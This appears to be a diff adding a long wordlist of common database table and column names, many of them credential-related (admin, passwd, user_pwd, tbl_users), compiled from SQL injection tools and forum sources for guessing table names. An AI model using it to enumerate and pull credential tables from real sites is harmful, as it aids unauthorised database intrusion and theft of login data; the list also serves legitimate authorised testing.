+image
+organization
+courses
+loan
+form_definition
+configuration
+hibernate_unique_key
+order
+form_error
+payment
+Author
+history
+task_param
+movies
+dept_locations
+track
+services
+EMPLOYEE
+works_on
+patient
+Student
+form_data
+setting
+PUBLISHER
+partsgroup
+languages
+depositor
+CPG_categories
+book
+Orders
+job_history
+metadata
+exchangerate
+shipto
+rcpt
+team
+address
+tasks
+queue_info
+subscribers
+city
+field_options
+locations
+statename
+BOOK
+zuseserver
+ap
+ar
+Employees
+USER
+userInfo
+telephone
+session
+User
+video
+LOCATION
+tf_links
+ACCOUNT
+artist
+property
+the
+request
+acc_trans
+lending
+postaladdress
+Customers
+xmldocument
+jiveID
+domain
+promotion
+CPG_filetypes
+assembly
+business
+orderitems
+locale
+gl
+links
+located
+identities
+sizes
+companies
+payload
+Organization
+protocol
+transfers
+encompasses
+borders
+profiles
+salesorder
+mailbox
+contacts
+tables_priv
+admin_logs
+text
+phpbb_config
+plugin
+stores
+host
+Book
+gifi
+user_groups
+term
+internetaddress
+tf_settings
+region
+poll
+makemodel
+partstax
+catalog
+question
+vendors
+departments
+notes
+delivery_quality
+queries
+identification
+friends
+PERSON
+course_section
+jiveRemoteServerConf
+channels
+object
+chip_layout
+login
+user_newtalk
+entrants
+Device
+imageInfo
+developers
+items_template
+defaults
+osc_products
+mucRoomProp
+settings
+DEPENDENT
+imageCategoryList
+islandIn
+mobile_menu_text
+jiveUserProp
+osc_products_options_values
+wp_posts
+package
+mucRoom
+vendortax
+attrs
+config_seq
+company
+register
+checksum_results
+ENROLLMENT
+operation
+binaries
+COURSE_SECTION
+Students
+func
+enrollment
+readers
+action_element
+friend_statuses
+Domain
+servers
+UserFields
+revision
+meals
+resources
+mixins
+sys_options_cats
+licenses
+SIGNON
+clients
+Apply
+ThumbnailKeyword
+form_definition_text
+system
+jiveOffline
+tickers
+BANNERDATA
+mucAffiliation
+rooms
+objectcache
+collection_item_count
+jiveRoster
+Volume
+lookup
+investigator
+math
+jivePrivate
+osc_manufacturers_info
+PROFILE
+categories_posts
+Flight
+Gallery
+scripts
+AUTHOR
+physician
+client
+cv_country_synonyms
+osc_categories
+interwiki
+archive
+members_networks
+language_text
+UserType
+friend
+osc_products_description
+osc_products_to_categories
+article
+recentchanges
+media
+conducts
+sales
+CurrentUsers
+Country
+querycache
+Publication
+Pilot
+Regions
+DEPT_LOCATIONS
+master_table
+funny_jokes
+jos_vm_payment_method
+osc_products_images
+specialty
+visits
+ipblocks
+WidgetPrices
+experiment
+Publisher
+control
+protocol_action
+jivePrivacyList
+subImageInfo
+plugin_sid
+message_statuses
+state
+GalleryThumb
+hitcounter
+jiveGroupProp
+ingredients
+community_item_count
+jiveExtComponentConf
+SEQUENCE
+Continent
+rights
+Path
+osc_manufacturers
+logging
+sailors
+Description
+warehouse
+DEPARTMENT
+legacy_things
+jiveVCard
+agent
+CPG_bridge
+CUSTOMERS
+jiveProperty
+app_user
+keyboards
+categorylinks
+grants
+Action
+WidgetReferences
+product_type
+developers_projects
+userAttribute
+form_data_archive
+action_attribute
+Thumbnail
+jiveGroupUser
+computers
+customertax
+sector
+networks
+columns_priv
+globals
+Widgets
+TERM
+salgrade
+mucMember
+imagelinks
+exchange
+Status
+WORKS_ON
+lines
+testusers
+mobile_menu
+staff
+tblusers
+hashes
+partner
+Product
+personnel
+ads
+osc_specials
+Keyword
+supplier
+agent_specialty
+pokes
+profile_pictures
+oldimage
+isMember
+userImageRating
+detail_table
+osc_products_attributes
+officer
+COURSE
+Time
+locatedOn
+medicalprocedure
+mergesWith
+author
+UserFieldsInfo
+Employee
+oe
+insurance
+SUPPLIER
+song
+imageAttribute
+views_track
+extremes
+jiveRosterGroups
+webcal_config
+phpbb_ranks
+triggers_template
+appVersions
+DUMMY
+ROLE
+activity
+study_text
+osc_products_options
+City
+osc_reviews
+edge
+questions
+partof
+blobs
+tag
+userSession
+vcd
+job
+site_stats
+mucConversationLog
+sequence
+madewith
+OperationStatus
+SPJ
+zutat_cocktail
+zipcodes
+insertids
+ChemList
+product_category
+hero
+reports
+devel_logsql
+f_sequence
+MEMBER
+ClassificationScheme
+ez_webstats_conf
+credential
+utilise
+ACL_table
+service_request_log
+feedback
+vars
+tblblogentriescategories
+assignment
+CUST_HIST
+ew_menu
+time_zone_transition_type
+child_configs
+LIBRARY_BRANCH
+Company
+Component
+webcal_entry_log
+transactions
+webcal_entry_ext_user
+dept_location
+ConsultantsTable
+phonelist
+sys_acl_actions
+participate
+population
+dtb_order
+files_config
+PropColumnMap
+result
+triggers
+audittrail
+userlist
+backgroundJob_table
+sf_guard_user_permission
+my_lake
+sampleData
+reciprocal_partnersites
+rss_categories
+ADMIN
+Factory_Output
+geo_Estuary
+phpbb_themes
+forum
+ClientsTable
+rating_track
+iplinks
+maxcodevento
+reciprocal_admin
+ew_moduli
+CheckType
+cmLanguage
+phpbb_points_config
+guava_sysmodules
+querycachetwo
+BOOK_AUTHORS
+records
+reciprocal_config
+newsletter_queue
+passwds
+phpbb_posts_text
+biosample
+connectorassocs
+BOOK_COPIES
+jos_sections
+vote
+SCRIPT
+THOT_CATEGORY
+artifact
+object_types
+pages
+usuario
+CE_table
+phpbb_forums
+tbl_country
+Products
+dtb_bat_order_daily
+site_wtype
+geo_mountain
+expression
+Simple_Response
+photoo
+photos
+version_data
+allocation
+dtb_category_total_count
+habilidad
+PREFIX_group_lang
+work_orders
+SELLER
+cv_soil
+taxon
+bkp_ItemResource
+ezcontentobject_trash
+webcal_view
+pagecontent
+Collection
+maxcodcurso
+phpbb_user_group
+InstanceStringTable
+bldg_types
+t1
+mailaddresses
+section
+m_type
+configlist
+trade
+Parameter
+tbl_works_categories
+help_category
+bkp_String
+Class_Display_Sequence
+EPIXEIRISI
+sounds
+phpbb_groups
+dtb_campaign
+produit
+adblocks
+vendor_seq
+guava_theme_modules
+dtb_pagelayout
+bookings
+writes
+writer
+distance
+jforum_groups
+Polynomial
+river
+GROUP
+sea
+IDIOTIS
+cmPublication
+last
+UsageParameter
+phpbb_topics
+t_peep
+PREFIX_group
+dtb_delivfee
+equipment_type_seq
+wp_users
+news_category
+SchemaInfo
+WidgetDescriptions
+dtb_category_count
+sidebar
+facets
+jforum_roles
+geo_Lake
+religion
+nuke_gallery_media_class
+cia
+DatabaseInfo
+THOT_THEME
+enrolled
+liste_domaines
+DEMO_PROJECTS
+ORDERSTATUS
+site_iwis
+MountainOnIsland
+bkp_ItemReference
+Category
+Mountain
+INSTITUTE
+POINT
+forum_vote
+THOT_TYPE
+cmts_track
+bkp_ItemReplication
+hostbenchmarks
+filearchive
+f_spatialcontext
+UM_ROLE_ATTRIBUTES
+SCALE
+maclinks
+books
+interactions
+graphs_items
+stars
+BID
+enrolls
+site_environment
+user_types
+Severity
+partscustomer
+wp_pod_types
+River
+marital_status
+PZ
+PN
+email
+CustomerCards
+mtb_zip
+Campus
+hardware
+dtb_other_deliv
+pricegroup
+commissionEmployees
+cv_pests_diseases
+tbl_tech
+macswitches
+cc_config
+audit
+colour
+command
+audio
+egresado
+transport
+schedule
+routers
+zips
+Descriptions
+software
+wh_der_children
+delivery
+placex
+cv_crops
+problem
+Station_Data
+account_transaction
+time_zone_name
+numedia
+THOT_DEEP
+ZENTRACK_VARFIELD_IDX
+roads_endpoints
+Propdesc_table
+general_log
+peer_configs
+hot_prop
+phones
+ServiceBinding
+emailinfo
+dtb_member
+cmSiteNode
+nodes
+sbreciprocal_cats
+rss_read
+bombing
+tblblogtrackbacks
+fragment
+dtb_review
+tblblogsearchstats
+datasources
+CPG_users
+vrls_partners
+guava_roles
+webcal_user_layers
+ANSWER_GROUP_DETAIL
+tbl_clients
+dtb_kiyaku
+EmailAddress
+Sea
+powers
+reserve
+LINEITEM
+project_user_xref
+Agent
+idioma
+dtb_campaign_detail
+jos_components
+user_rights
+tf_messages
+Class_Def_Table
+geo_lake
+tissue
+ligneDeFacture
+PZ_Data
+tf_cookies
+archtypes
+cmts
+photo
+dtb_bloc
+user_preferences
+D_Abbreviation
+data_set_association
+site_location
+jforum_posts
+Property
+pg_ts_dict
+badspy
+gearing
+credenziali
+abstract
+evidence
+files
+test
+intUsers
+tblblogentries
+cocktail_person
+cdv_curated_allele
+REORDER
+Religion
+turns
+MetadataValue
+curso
+redirect
+accountuser
+StateType
+forum_user_stat
+Descriptions_Languages
+m_users_profile
+Booked_On
+tblblogroles
+organizations
+topic
+economy
+Model
+maxcodcorreo
+RATING
+Transactions
+Chemicals
+m_data
+USER_GROUP
+equipment_type
+geo_Island
+sysmaps
+ezin_roles
+phpbb_themes_name
+dtb_send_history
+dtb_send_customer
+cart
+size
+pg_ts_cfgmap
+QUESTION
+DC_Data
+webcal_group_user
+telefono
+builds
+tbluserroles
+webcal_site_extras
+solde
+document
+m_users_acct
+vendor_types
+fruit
+Service
+PART
+cell_line
+dtb_bat_order_daily_age
+images
+apartments
+THOT_ALPHA
+ippaths
+area
+SYNALLAGI
+sysmaps_hosts
+tbl_works
+statuses
+webcal_user
+customurl
+THOT_YEAR
+correo
+Factory_Master
+inv_lines_seq
+certificates
+webcal_asst
+ostypes
+POINT_SET
+forum_flag
+bugs
+taxonomy
+UM_ROLES
+payer
+tf_log
+job_title
+ask
+wp_options
+forum_user_activity
+trackbacks
+wp_pod_fields
+translation
+cdv_passport_group
+User_
+Users
+access_control
+my_county
+zoph_people
+account_permissions
+ORDERLINES
+wp_term_relationships
+pictures
+product_font
+Departure
+routerbenchmarks
+bkp_Item
+Channel_Data
+realtable
+odetails
+user_type_link
+belong
+ezin_users
+time_zone_transition
+ew_tabelle
+ezsearch_return_count_new
+m_users
+Economy
+tbl_works_clients
+geo_Mountain
+dtb_category
+tmp
+reservation
+geo_Desert
+dtb_payment
+forum_topic
+ezsearch_search_phrase_new
+Equipment
+MetadataSchemaRegistry
+basePlusCommissionEmployees
+addresses
+phpbb_search_wordlist
+user_defined_attribute
+fournisseurType
+dpt_trans
+PostalAddress
+defaultinsertid
+Politics
+pools
+cocktail_lokal
+dtb_blocposition
+templatelinks
+jforum_ranks
+D_Format_Data
+tblblogtextblocks
+time_zone_leap_second
+rss
+Decimation
+dtb_user_regist
+f_options
+siteIndexTable
+Administrator
+phpbb_users
+ezin_authors
+SpecificationLink
+videos
+sf_guard_remember_key
+employer
+leases
+phpbb_smilies
+stats
+f_spatialcontextgroup
+experiencia
+dtb_csv
+line_items_seq
+ndb_binlog_index
+zoph_categories
+help_topic
+transaction
+wp_links
+cdv_allele_curated_allele
+timeperiod
+item_master_seq
+GLI_profiles
+cv_countries
+journal
+tf_users
+mwuser
+stories
+dtb_table_comment
+Lake
+SQLDATES
+phpbb_search_wordmatch
+friend2
+functions
+comboboxes
+std_item
+jiveVersion
+sf_guard_group
+Classification
+Sensitivity
+PREFIX_category_group
+preferences
+credit
+geo_sea
+type
+knjiga
+FindCriteria
+zoph_prefs
+webcal_entry_repeats
+room
+domain_info
+SALES
+profession1
+SUPPORT_INCIDENTS
+PERMISSION
+Defect
+Desert
+KARTA
+UM_ROLE_PERMISSIONS
+Purchases
+PREFIX_configuration
+guava_themes
+alltypes
+webcal_view_user
+vrls_xref_country
+subject
+continent
+D_Format
+dtb_recommend_products
+Linkdesc_table
+TelephoneNumber
+dtb_customer_mail_temp
+copyrights
+DEMO_ASSIGNMENTS
+guava_group_assignments
+jforum_extensions
+zutat
+ew_user
+alerts
+partsvendor
+jiveGroup
+organization_seq
+dtb_customer_reading
+configuratore
+tbl_event
+my_street
+osvendors
+softwares
+Session
+admins
+TIL_IDIOTON
+EthnicGroup
+reviews
+tblblogentriesrelated
+guava_packages
+GRouteDetail
+cdv_reason
+membership
+bkp_RS_Servers
+vrls_listing_images
+schema_info
+entity
+group
+ClassificationNode
+dtb_best_products
+cv_cropping_system
+egresadoxidiomaxhabilidad
+locus_data
+dtb_order_temp
+tblblogsubscribers
+account_log
+facture
+MetadataFieldRegistry
+BRANCH
+orgs
+DM
+NextID_table
+webcal_group
+DC
+wp_pod_widgets
+chromosomes
+Name
+roster
+dtb_csv_sql
+synchro_type
+langlinks
+genres_in_movies
+Province
+answerOption
+wp_postmeta
+ERDESIGNER_VERSION_ID
+calendar
+cmEvent
+forum_user
+SalesReps
+ew_gruppi
+vrls_xref_state_province
+conferences
+pay
+Plane
+webcal_entry_repeats_not
+Island
+tbl_works_tech
+webcal_import
+nuke_gallery_comments
+monthlabel
+tblblogcomments
+dtb_delivtime
+product_size_multi
+manufacturer
+Tasks
+island
+coupon
+webcal_report
+RegistryPackage
+sysmaps_links
+procs_priv
+invoices_seq
+film
+genres
+field
+vertex
+FoundThumbs
+reciprocal_links
+Course
+idiomaxegresado
+ordreReparation
+Assigned_To
+ORDERITEMS
+PREFIX_product_attribute_image
+COLLECT_SITE
+THOT_CONCEPT
+publisher
+dtb_mailmaga_template
+DSObject_table
+forum_post
+sf_guard_permission
+Prefixes
+dtb_update
+BROWSE
+tf_rss
+TIME
+reciprocal_mails
+association
+typeFacture
+StringTable
+CATEGORIES
+Language
+mountain
+ad_locales
+ExtrinsicObject
+geo_island
+derived_types
+snipe_gallery_cat
+guava_roleviews
+production_wtype
+AccountXML1
+wh_man_children
+product_colour_multi
+ike_configs
+intUseringroup
+study_user
+pg_ts_cfg
+connectorswitches
+procedure_biosample
+theday
+fournisseur
+typeProduit
+BOOKAUTHOR
+passwords
+keys
+AuditableEvent
+ExternalIdentifier
+source
+BOOK_LOANS
+UserRole
+vrls_xref_listing_offer_type
+cmRole
+PREFIX_search_engine
+my_poi
+Channel_Comment
+forum_cat
+invite
+PREFIX_order_return_state
+experimental_data_set
+DOCUMENT_FIELDS
+Scripts
+desert
+Can_Fly
+synchro_element
+maxcodtelefono
+enrollments
+tblblogpages
+f_attributedefinition
+intGroups
+way_nodes
+THOT_TARGET
+MOMENT
+dtb_classcategory
+product_price
+relation_members
+PREFIX_access
+dtb_deliv
+webcal_categories
+Parts
+invoices
+ANSWER
+tbl_categories
+yearend
+DEPARTMENTS
+account_level
+ref
+help_relation
+zoph_users
+procedure_data_set
+Association
+mtb_pref
+ANSWER_GROUP
+GDirectedRoute
+graphs
+occasion
+account_temp
+nuke_gallery_categories
+areas
+cmContentVersion
+checksum_history
+accessTable
+cameFromTable
+services_links
+Coefficients
+reglement
+maxcodexperiencia
+vrls_xref_listing_type
+adv
+lake
+tests
+Offices
+Editor
+wp_pod_pages
+Extlangs
+seq_gen
+rss_subscription
+Station_Comment
+jforum_config
+geo_River
+facilities
+connectorlinks
+file_storage
+neuf
+school
+wp_term_taxonomy
+m_plans
+ligneDeCommande
+FORM_QUESTION
+history_str
+f_classtype
+endpoints
+zoph_albums
+bkp_ItemPresentation
+tblblogcategories
+traffic_selectors
+FORM
+creditcards
+people_reg
+country_partner
+jforum_users
+dtb_mail_history
+priorities
+relations
+combustiblebois
+slow_log
+WROTE
+flow
+pay_melodies
+dtb_templates
+variable_interest
+dtb_class
+ZENTRACK_VARFIELD
+catalogue
+wp_usermeta
+time_zone
+games
+wp_terms
+sf_guard_user_group
+honorsinfo
+maxcodestudio
+estudio_academico
+RECORD
+Room
+alarms
+ew_temi
+clubs
+net_pm
+tbl_state
+cmContentTypeDefinition
+radacct
+peer_config_child_config
+cmAvailableServiceBinding
+Poles_Zeros
+ipmacassocs
+m_news
+dtb_news
+shared_secrets
+UsageDescription
+rol
+phpbb_posts
+ipassocs
+cmSystemUser
+phpbb_categories
+FoundLists
+channelitems
+lokal
+subcategory
+Languages
+jiveSASLAuthorized
+cocktail
+cust_order
+THOT_SOURCE
+product_font_multi
+presence
+UM_USERS
+jiveUser
+wp_comments
+dtb_bat_order_daily_hour
+jos_vm_category
+CONTACT
+SpecialityTable
+librarian
+geo_river
+MonitorStatus
+pagelinks
+ways
+cities
+PREFIX_order_return_state_lang
+subscriber
+prereq
+Slot
+rss_item
+UM_USER_ROLES
+PREFIX_timezone
+evento
+guava_views
+cmServiceDefinition
+Variants
+searchindex
+actions
+cdv_passport_set
+production_multiple
+page_log_exclusion
+furniture
+nuke_gallery_pictures
+oc
+os
+PREFIX_tab_lang
+lc_fields
+framework_email
+datasets
+externallinks
+geo_desert
+politics
+hourlyEmployees
+D_Comment
+EMPLOYEES
+individual
+m_with
+program
+combustible
+ezin_articles
+help_keyword
+POSITION
+stars_in_movies
+glas
+cmRepository
+dtb_mailtemplate
+DIM_TYPE
+cart_table
+D_Unit
+macassocs
+changeTva
+UM_PERMISSIONS
+geo_Source
+cdv_marker
+nuke_gallery_template_types
+UM_USER_ATTRIBUTES
+Aircraft
+store
+Descriptions_Variants
+trigger_depends
+guava_role_assignments
+ExternalLink
+bkp_RS_Clusters
+PN_Data
+users_sessions
+webcal_nonuser_cals
+parent_test
+cmServiceBinding
+BUYER
+transcache
+dtb_question_result
+rss_category
+profiling
+THOT_LANGUAGE
+cmContent
+Descriptions_Scripts
+DSProp_table
+webcal_report_template
+service_request
+resource_types
+THOT_SUB_MENU
+bkp_ResourceFolder
+PREFIX_tab
+province
+dtb_bat_relate_products
+changePrix
+proc
+ewst_sessioni
+nuke_gallery_media_types
+outdoor_spaces
+po_seq
+salariedEmployees
+grp
+jforum_topics
+array_data
+most_recent_checksum
+m_earnings
+product_related
+dtb_baseinfo
+webcal_import_data
+federationApplicants
+melodies
+jforum_forums
+sf_guard_group_permission
+sys_acl_matrix
+country_diseases
+dtb_order_detail
+sic
+PROJECT
+log_fake_referers
+ROLE_PERM
+isDeleted_table
+vrls_listings
+Table
+sf_guard_user
+Subject
+cdv_curation
+dictionary
+forum_report
+institution
+cmQualifyer
+jforum_categories
+site_climatic
+phpbb_points_values
+zoph_color_schemes
+TypeRule
+dtb_customer
+PREFIX_customer_group
+ProjectsTable
+dtb_products
+words
+dtb_question
+UM_USER_PERMISSIONS
+exam
+commande
+dtb_products_class
+subscribe
+page_restrictions
+querycache_info
+cdv_map_feature
+Link_table
+guava_users
+connectormacassocs
+moduleexecs
+guava_groups
+Institution
+sconfig
+shared_secret_identity
+platforms
+BORROWER
+phpbb_acl_options
+markers
+Population
+shipping
+guava_preferences
+rating
+UserCapability
+Priority
+rec_jobs
+ezin_sections
+Descriptions_Regions
+SPACE
+geo_Sea
+DATA_ORG
+Contributor
+wallet
+balance
+flag
+
+# Various Joomla tables
+
+jos_vm_product_download
+jos_vm_coupons
+jos_vm_product_reviews
+jos_core_acl_aro
+jos_vm_shopper_vendor_xref
+jos_stats_agents
+jos_vm_orders
+jos_poll_menu
+jos_content_rating
+jos_vm_vendor
+jos_vm_product_mf_xref
+jos_vm_export
+jos_polls
+jos_content_frontpage
+jos_vm_userfield_values
+jos_categories
+jos_poll_data
+jos_vm_manufacturer
+jos_vm_order_user_info
+jos_core_acl_groups_aro_map
+jos_messages
+jos_vm_zone_shipping
+jos_bannertrack
+jos_vm_order_status
+jos_modules_menu
+jos_core_log_items
+jos_modules
+jos_users
+jos_vm_product_category_xref
+jos_vm_product_attribute
+jos_poll_date
+jos_vm_vendor_category
+jos_vm_state
+jos_vm_country
+jos_weblinks
+jos_vm_cart
+jos_vm_shipping_label
+jos_vm_manufacturer_category
+jos_vm_shopper_group
+jos_vm_product_votes
+jos_vm_currency
+jos_vm_creditcard
+jos_menu
+jos_groups
+jos_messages_cfg
+jos_vm_order_payment
+jos_content
+jos_bannerclient
+jos_vm_product_discount
+jos_core_log_searches
+jos_vm_auth_user_group
+jos_contact_details
+jos_vm_auth_group
+jos_vm_waiting_list
+jos_vm_category_xref
+jos_newsfeeds
+jos_vm_auth_user_vendor
+jos_vm_user_info
+jos_vm_function
+jos_vm_product_files
+jos_vm_userfield
+jos_vm_shipping_carrier
+jos_core_acl_aro_map
+jos_vm_shipping_rate
+jos_vm_product
+jos_vm_product_product_type_xref
+jos_core_acl_aro_groups
+jos_templates_menu
+jos_menu_types
+jos_plugins
+jos_session
+jos_vm_order_item
+jos_vm_module
+jos_vm_product_attribute_sku
+jos_vm_product_price
+jos_vm_csv
+jos_migration_backlinks
+jos_vm_product_relations
+jos_core_acl_aro_sections
+jos_vm_order_history
+jos_banner
+php_users
+ALL_USERS
+banned_users
+users_tmp
+users_club
+publicusers
+cmsusers
+
+# List provided by Anastasios Monachos (anastasiosm@gmail.com)
+
+blacklist
+cost
+moves
+pelates
+tamio
+tameio
+xristes
+zones
+tamio_pelates
+kwdikos
+addressbookgrp
+sendmsgs
+publicationauthor
+publicationfile
+topicpublication
+userrights
+comp_group
+computers_ID
+event_log
+networking
+routing
+software_licenses
+ips
+arxeia
+SMS_TABLE
+TABLE_PRIVILEGE_MAP
+AMUSER
+CONTACTTYPE
+CONTENT
+DOWNLOADGROUP
+DOWNLOADS
+DOWNLOADTYPE
+EMAIL
+ENQUIRY
+FACTSHEET
+FUND
+FUNDGROUP
+HISTORY
+MANAGEMENTGROUP
+SUBSCRIBE
+TBLUSERS
+TBLLIST
+TBLLOG
+TBLPROFILES
+TBLREPORTS
+TBLTRANSACTIONS
+TBLRETAILUSERS
+TBLCORPUSERS
+TBLCORPORATEUSERS
+
+# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
+tbladmins
+sort
+_wfspro_admin
+4images_users
+a_admin
+adm
+admin_login
+admin_user
+admin_userinfo
+administer
+administrable
+administrate
+administration
+administrator
+administrators
+adminrights
+adminuser
+art
+article_admin
+articles
+artikel
+aut
+autore
+backend
+backend_users
+backenduser
+bbs
+chat_config
+chat_messages
+chat_users
+clubconfig
+content
+cpg_config
+cpg132_users
+customers_basket
+dbadmins
+dealer
+dealers
+diary
+download
+Dragon_users
+e107_user
+fusion_user_groups
+fusion_users
+ibf_admin_sessions
+ibf_conf_settings
+ibf_members
+ibf_members_converge
+ibf_sessions
+icq
+index
+info
+ipb_sessions
+joomla_users
+jos_blastchatc_users
+jos_comprofiler_members
+jos_joomblog_users
+jos_moschat_users
+knews_lostpass
+korisnik
+korisnici
+kpro_adminlogs
+kpro_user
+login_admin
+login_admins
+login_user
+login_users
+logins
+logon
+logs
+lost_pass
+lost_passwords
+lostpass
+lostpasswords
+m_admin
+main
+mambo_session
+mambo_users
+manage
+manager
+mb_users
+member
+memberlist
+minibbtable_users
+mitglieder
+movie
+mybb_users
+mysql
+name
+names
+news_lostpass
+newsletter
+nuke_authors
+nuke_bbconfig
+nuke_config
+nuke_popsettings
+nuke_users
+obb_profiles
+parol
+partners
+passes
+password
+perdorues
+perdoruesit
+phorum_session
+phorum_user
+phorum_users
+phpads_clients
+phpads_config
+forum_users
+poll_user
+punbb_users
+pwd
+pwds
+reg_user
+reg_users
+registered
+reguser
+regusers
+cards
+site_login
+site_logins
+sitelogin
+sitelogins
+sites
+smallnuke_members
+smf_members
+SS_orders
+statistics
+superuser
+sysadmin
+sysadmins
+sysuser
+sysusers
+table
+tables
+tb_admin
+tb_administrator
+tb_login
+tb_member
+tb_members
+tb_user
+tb_username
+tb_usernames
+tb_users
+tbl
+tbl_user
+tbl_users
+tbluser
+tbl_client
+tblclients
+tblclient
+usebb_members
+user_admin
+user_info
+user_list
+user_login
+user_logins
+user_names
+usercontrol
+userinfo
+userlogins
+username
+usernames
+vb_user
+vbulletin_session
+vbulletin_user
+voodoo_members
+webadmin
+webadmins
+webmaster
+webmasters
+webuser
+webusers
+x_admin
+xar_roles
+xoops_bannerclient
+xoops_users
+yabb_settings
+yabbse_settings
+ACT_INFO
+ActiveDataFeed
+CategoryGroup
+ChicksPass
+ClickTrack
+CountryCodes1
+CustomNav
+DataFeedPerformance1
+DataFeedPerformance2
+DataFeedPerformance2_incoming
+DataFeedShowtag1
+DataFeedShowtag2
+DataFeedShowtag2_incoming
+dtproperties
+Event
+Event_backup
+Event_Category
+EventRedirect
+Events_new
+Genre
+JamPass
+MyTicketek
+MyTicketekArchive
+News
+PerfPassword
+PerfPasswordAllSelected
+Promotion
+ProxyDataFeedPerformance
+ProxyDataFeedShowtag
+ProxyPriceInfo
+Region
+SearchOptions
+Series
+Sheldonshows
+StateList
+States
+SubCategory
+Subjects
+Survey
+SurveyAnswer
+SurveyAnswerOpen
+SurveyQuestion
+SurveyRespondent
+sysconstraints
+syssegments
+tblRestrictedPasswords
+tblRestrictedShows
+TimeDiff
+Titles
+ToPacmail1
+ToPacmail2
+UserPreferences
+uvw_Category
+uvw_Pref
+uvw_Preferences
+Venue
+venues
+VenuesNew
+X_3945
+tblArtistCategory
+tblArtists
+tblConfigs
+tblLayouts
+tblLogBookAuthor
+tblLogBookEntry
+tblLogBookImages
+tblLogBookImport
+tblLogBookUser
+tblMails
+tblNewCategory
+tblNews
+tblOrders
+tblStoneCategory
+tblStones
+tblUser
+tblWishList
+VIEW1
+viewLogBookEntry
+viewStoneArtist
+vwListAllAvailable
+CC_info
+CC_username
+cms_user
+cms_users
+cms_admin
+cms_admins
+user_name
+jos_user
+table_user
+mail
+bulletin
+cc_info
+login_name
+admuserinfo
+SiteLogin
+Site_Login
+UserAdmin
+Admins
+Login
+Logins
+
+# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
+account
+accnts
+accnt
+user_id
+members
+usrs
+usr2
+accounts
+admin
+admins
+adminlogin
+auth
+authenticate
+authentication
+account
+access
+customers
+customer
+config
+conf
+cfg
+hash
+login
+logout
+loginout
+log
+member
+memberid
+password
+pass_hash
+pass
+passwd
+passw
+pword
+pwrd
+pwd
+store
+store1
+store2
+store3
+store4
+setting
+username
+name
+user
+user_name
+user_username
+uname
+user_uname
+usern
+user_usern
+un
+user_un
+usrnm
+user_usrnm
+usr
+usernm
+user_usernm
+user_nm
+user_password
+userpass
+user_pass
+user_pword
+user_passw
+user_pwrd
+user_pwd
+user_passwd
+
+# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
+wsop
+Admin
+Config
+Settings
+tbl_admin
+tbl_admins
+tbl_member
+tbl_members
+tblservers
+id
+uid
+userid
+user_id
+auid
+adminpass
+LoginID
+FirstName
+LastName
+cms_member
+cms_members
+Webmaster
+Webuser
+tbl_tbadmin
+Adminlogin
+useraccount
+nguoidung
+quanly
+quantri
+dangnhap
+taikhoan
+taikhoanquantri
+useraccounts
+nguoidungs
+tbuser
+tblogin
+tbadmin
+tbaccount
+tbuseraccount
+tbnguoidung
+tbllogin
+tbladmin
+tblaccount
+tbluseraccount
+tblnguoidung
+tbusers
+tblogins
+tbadmins
+tbaccounts
+tbuseraccounts
+tbnguoidungs
+tbllogins
+tblaccounts
+tbluseraccounts
+tblnguoidungs
+tb_account
+tb_useraccount
+tb_nguoidung
+tbl_login
+tbl_account
+tbl_useraccount
+tbl_nguoidung
+tb_logins
+tb_accounts
+tb_useraccounts
+tb_nguoidungs
+tbl_logins
+tbl_accounts
+tbl_useraccounts
+tbl_nguoidungs
+tb_admins
+adminid
+admin_id
+adminuserid
+admin_userid
+AdminUID
+adminusername
+admin_username
+adminname
+admin_name
+usr
+usr_n
+usrname
+usr_name
+usrnam
+useradmin
+apwd
+adminpaw
+adminpwd
+admin_pwd
+admin_pass
+adminpassword
+admin_password
+admin_passwords
+usrpass
+usr_pass
+pass
+userpass
+user_pass
+dbaccount
+dbstudent
+dbstudents
+dbadmin
+useres
+dbuser
+dbusers
+personal
+dbpersoon
+list
+lists
+dblist
+userpassword
+user_password
+userpwd
+user_pwd
+SecurityLevel
+LastLoginDate
+LoginIP
+pword
+ad
+Konto
+Konten
+admin_psw
+verwalten
+verwaltet
+administrieren
+Verwaltung
+Administratoren
+adminpsw
+adminupass
+Kunst
+Artikel
+Autor
+Buch
+chat
+Kunden
+tblnews
+banner
+options
+general
+upload
+uploads
+file
+akhbar
+Firma
+contenu
+Kontakt
+Kontakte
+Inhalt
+Kontrolle
+controle
+Kunde
+Tagebuch
+herunterladen
+dw
+glmm
+gly
+us
+stnuser
+stuser
+stusers
+stuseres
+dbstaff
+db_staff
+staff_db
+database
+databases
+test_user
+user_test
+test_users
+users_test
+Gruppe
+Gruppen
+guanli
+guanliyuan
+h_admin
+Bilder
+Mitgliederbereich
+key
+keywords
+Anmeldung
+Protokolle
+Mitglied
+Mitgliederliste
+Mitglieder
+mima
+mm
+mpassword
+musername
+Film
+Filme
+nc
+new
+Namen
+Auftrag
+Bestellungen
+Passwort
+power
+psw
+pswd
+pw
+pwd1
+jhu
+webapps
+sing
+singup
+singin
+registeration
+reg
+registriert
+root
+roots
+Tagung
+Sitzungen
+Einstellungen
+Standorte
+Statistiken
+sys
+Systemadministratoren
+systime
+Tisch
+Tabellen
+Titel
+Benutzer
+user_pw
+Benutzerliste
+userpasswd
+usr_pw
+usrs
+Benutzername
+Benutzernamen
+vip
+Webbenutzer
+Kategorie
+Land
+Suchoptionen
+Serie
+Staaten
+UnterkKlasse
+Umfrage
+TotalMembers
+Veranstaltungsort
+Veranstaltungsorte
+utilisateur
+trier
+compte
+comptes
+administrer
+administrables
+administrateur
+administrateurs
+auteur
+livre
+entreprise
+concessionnaire
+concessionnaires
+telecharger
+groupe
+groupes
+liens
+connexion
+principal
+gestionnaire
+membre
+membres
+films
+nom
+noms
+ordre
+commandes
+partenaire
+partenaires
+passe
+asse
+enregistrs
+paramtres
+statistiques
+super
+tester
+utilisateurs
+intranet_users
+utlisateur
+Catogorie
+Pays
+Sujets
+Sondage
+Titres
+Lieux
+server
+ststaff
+yhm
+yhmm
+
+# site:it
+
+utenti
+categorie
+attivita
+comuni
+discipline
+Clienti
+gws_news
+emu_services
+nlconfig
+Accounts
+gws_page
+argomento
+ruolo
+emu_profiles
+user_connection
+jos_jf_tableinfo
+regioni
+dati
+gws_admin
+articoli
+cron_send
+comune
+esame
+dcerpcbinds
+gruppi
+Articoli
+gws_banner
+gws_category
+soraldo_ele_tipo
+db_version
+jos_languages
+mlmail
+gws_product
+connections
+not_sent_mails
+utente
+documento
+gws_purchase
+offers
+anagrafica
